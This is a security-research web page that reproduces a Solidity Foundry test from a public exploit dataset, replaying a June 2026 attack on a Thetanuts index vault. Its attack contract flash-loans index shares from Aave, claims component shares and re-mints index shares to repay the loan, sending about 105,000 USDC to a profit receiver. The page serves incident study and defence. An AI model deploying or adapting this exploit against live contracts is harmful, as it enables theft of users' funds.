Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/Thetanuts_exp.sol

Public reproduction file for dataset entry Thetanuts.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/Thetanuts_exp.sol171 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 105471.50 USDC
8// Attacker : 0x30498e4466789e534c72e03b52a16c978655b41e
9// Attack Contract : 0x0f9daa9e0adced4e64578b2e131930dde54e492e
10// Vulnerable Contract : 0xc2c3ae0a7b405058558c9b4a63b373486cb86ac7
11// Attack Tx : https://etherscan.io/tx/0xbba9f138fe39503bfd1aa62932dbd6ab35d37d23d48e4b7bf2988a9d5dc39fec
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xc2c3ae0a7b405058558c9b4a63b373486cb86ac7
16// @Analysis
17// Twitter Guy : https://x.com/PeckShieldAlert/status/2066540451126190312
18//
19// The attacker flash-loaned Thetanuts index-vault shares, claimed component vault shares, then repeatedly minted
20// replacement index shares while component transfer amounts stayed at zero. The newly minted shares repaid Aave,
21// leaving USDC and residual component-vault shares for the profit receiver.
23address constant TX_SENDER = 0x30498e4466789E534c72e03B52A16c978655b41e;
24address constant PROFIT_RECEIVER = 0xAf3a0FdBFB0e3127247B66a042310e09C32F2299;
25address constant AAVE_POOL = 0x2Ca7641B841a79Cc70220cE838d0b9f8197accDA;
26address constant INDEX_VAULT = 0xC2C3AE0a7b405058558C9b4a63b373486CB86Ac7;
27address constant AAVE_INDEX_TOKEN = 0x075dA7e9EFEA6813aB0B2680423df75150120d12;
28address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
29address constant BTC_USD_VAULT = 0x3BA337F3167eA35910E6979D5BC3b0AeE60E7d59;
30address constant ETH_USD_VAULT = 0xE1c93dE547cc85CBD568295f6CC322B1dbBCf8Ae;
31address constant AVAX_USD_VAULT = 0x248038fDb6F00f4B636812CA6A7F06b81a195AB8;
32address constant BNB_USD_VAULT = 0xE5e8caA04C4b9E1C9bd944A2a78a48b05c3ef3AF;
33address constant MATIC_USD_VAULT = 0xAD57221ae9897DA08656aaaBd5B1D4673d4eDE71;
35interface IThetanutsIndexVault is IERC20 {
36 function claim(
37 uint256 amount
38 ) external;
39 function mint(
40 uint256 amount
41 ) external;
44interface IThetanutsComponentVault is IERC20 {
45 function initWithdraw(
46 uint256 shares
47 ) external returns (uint256 assets);
50contract ContractTest is BaseTestWithBalanceLog {
51 function setUp() public {
52 uint256 forkBlock = 25_323_328;
53 vm.createSelectFork("mainnet", forkBlock);
54 fundingToken = USDC_TOKEN;
56 vm.label(TX_SENDER, "Transaction sender");
57 vm.label(PROFIT_RECEIVER, "Profit receiver");
58 vm.label(AAVE_POOL, "Aave pool");
59 vm.label(AAVE_INDEX_TOKEN, "Aave indexUSDC aToken");
60 vm.label(INDEX_VAULT, "Thetanuts index USDC PUT vault");
61 vm.label(USDC_TOKEN, "USDC");
62 vm.label(BTC_USD_VAULT, "TN BTCUSD component vault");
63 vm.label(ETH_USD_VAULT, "TN ETHUSD component vault");
64 vm.label(AVAX_USD_VAULT, "TN AVAXUSD component vault");
65 vm.label(BNB_USD_VAULT, "TN BNBUSD component vault");
66 vm.label(MATIC_USD_VAULT, "TN MATICUSD component vault");
67 }
69 function testExploit() public balanceLog2(PROFIT_RECEIVER) {
70 uint256 usdcBefore = IERC20(USDC_TOKEN).balanceOf(PROFIT_RECEIVER);
71 uint256 avaxVaultBefore = IERC20(AVAX_USD_VAULT).balanceOf(PROFIT_RECEIVER);
72 uint256 bnbVaultBefore = IERC20(BNB_USD_VAULT).balanceOf(PROFIT_RECEIVER);
73 uint256 maticVaultBefore = IERC20(MATIC_USD_VAULT).balanceOf(PROFIT_RECEIVER);
75 vm.startPrank(TX_SENDER);
76 ThetanutsAttack attack = new ThetanutsAttack(PROFIT_RECEIVER);
77 attack.run();
78 vm.stopPrank();
80 uint256 usdcProfit = IERC20(USDC_TOKEN).balanceOf(PROFIT_RECEIVER) - usdcBefore;
81 emit log_named_decimal_uint("Profit receiver USDC profit", usdcProfit, 6);
83 assertGt(usdcProfit, 105_000_000_000, "USDC profit below expected impact");
84 assertGt(IERC20(AVAX_USD_VAULT).balanceOf(PROFIT_RECEIVER), avaxVaultBefore, "AVAX component not forwarded");
85 assertGt(IERC20(BNB_USD_VAULT).balanceOf(PROFIT_RECEIVER), bnbVaultBefore, "BNB component not forwarded");
86 assertGt(IERC20(MATIC_USD_VAULT).balanceOf(PROFIT_RECEIVER), maticVaultBefore, "MATIC component not forwarded");
87 }
90contract ThetanutsAttack {
91 IThetanutsIndexVault private constant indexVault = IThetanutsIndexVault(INDEX_VAULT);
92 IAaveFlashloan private constant aave = IAaveFlashloan(AAVE_POOL);
94 address private immutable profitReceiver;
96 constructor(
97 address profitReceiver_
98 ) {
99 profitReceiver = profitReceiver_;
100 }
102 function run() external {
103 address[] memory assets = new address[](1);
104 assets[0] = INDEX_VAULT;
106 uint256[] memory amounts = new uint256[](1);
107 uint256 residualIndexShares = 3;
108 amounts[0] = indexVault.balanceOf(AAVE_INDEX_TOKEN) - residualIndexShares;
110 uint256[] memory modes = new uint256[](1);
112 // step 1: borrow the index-vault shares from Aave.
113 aave.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
115 // step 4: convert two component vault balances to USDC, then forward all residual value.
116 _initWithdraw(BTC_USD_VAULT);
117 _initWithdraw(ETH_USD_VAULT);
118 _forwardToken(USDC_TOKEN);
119 _forwardToken(AVAX_USD_VAULT);
120 _forwardToken(BNB_USD_VAULT);
121 _forwardToken(MATIC_USD_VAULT);
122 }
124 function executeOperation(
125 address[] calldata assets,
126 uint256[] calldata amounts,
127 uint256[] calldata premiums,
128 address initiator,
129 bytes calldata
130 ) external returns (bool) {
131 require(msg.sender == AAVE_POOL, "caller must be Aave");
132 require(initiator == address(this), "initiator must be this contract");
133 require(assets.length == 1 && assets[0] == INDEX_VAULT, "unexpected flash asset");
135 uint256 borrowedShares = amounts[0];
136 uint256 repaymentShares = borrowedShares + premiums[0];
138 // step 2: claim component-vault shares from the borrowed index-vault shares.
139 indexVault.claim(borrowedShares);
141 // step 3: remint enough index-vault shares to repay Aave.
142 while (indexVault.balanceOf(address(this)) < repaymentShares) {
143 uint256 balance = indexVault.balanceOf(address(this));
144 uint256 remaining = repaymentShares - balance;
145 uint256 nextSupplyBoundary = 1;
146 uint256 supplyBoundedMint = indexVault.totalSupply() - nextSupplyBoundary;
147 uint256 mintAmount = remaining < supplyBoundedMint ? remaining : supplyBoundedMint;
149 indexVault.mint(mintAmount);
150 }
152 indexVault.approve(AAVE_POOL, repaymentShares);
153 return true;
154 }
156 function _initWithdraw(
157 address vault
158 ) private {
159 uint256 shares = IERC20(vault).balanceOf(address(this));
160 require(shares > 0, "no shares to withdraw");
161 IThetanutsComponentVault(vault).initWithdraw(shares);
162 }
164 function _forwardToken(
165 address token
166 ) private {
167 uint256 balance = IERC20(token).balanceOf(address(this));
168 require(balance > 0, "no balance to forward");
169 IERC20(token).transfer(profitReceiver, balance);
170 }

Analysis

Dataset entry

Public Foundry test for “Thetanuts” (2026-06-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x30498e4466789e534c72e03b52a16c978655b41e

  • Attack Contract

    0x0f9daa9e0adced4e64578b2e131930dde54e492e

  • Vulnerable Contract

    0xc2c3ae0a7b405058558c9b4a63b373486cb86ac7

  • Attack Tx

    0xbba9f138fe39503bfd1aa62932dbd6ab35d37d23d48e4b7bf2988a9d5dc39fec

File record

Name
Thetanuts
Path
src/test/2026-06/Thetanuts_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5bdd1f35b62e827711b5966e6e48fca16e3b6c33
Language
Solidity
Size
172 lines
Date
2026-06-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/Thetanuts_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5bdd1f35b62e827711b5966e6e48fca16e3b6c33, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.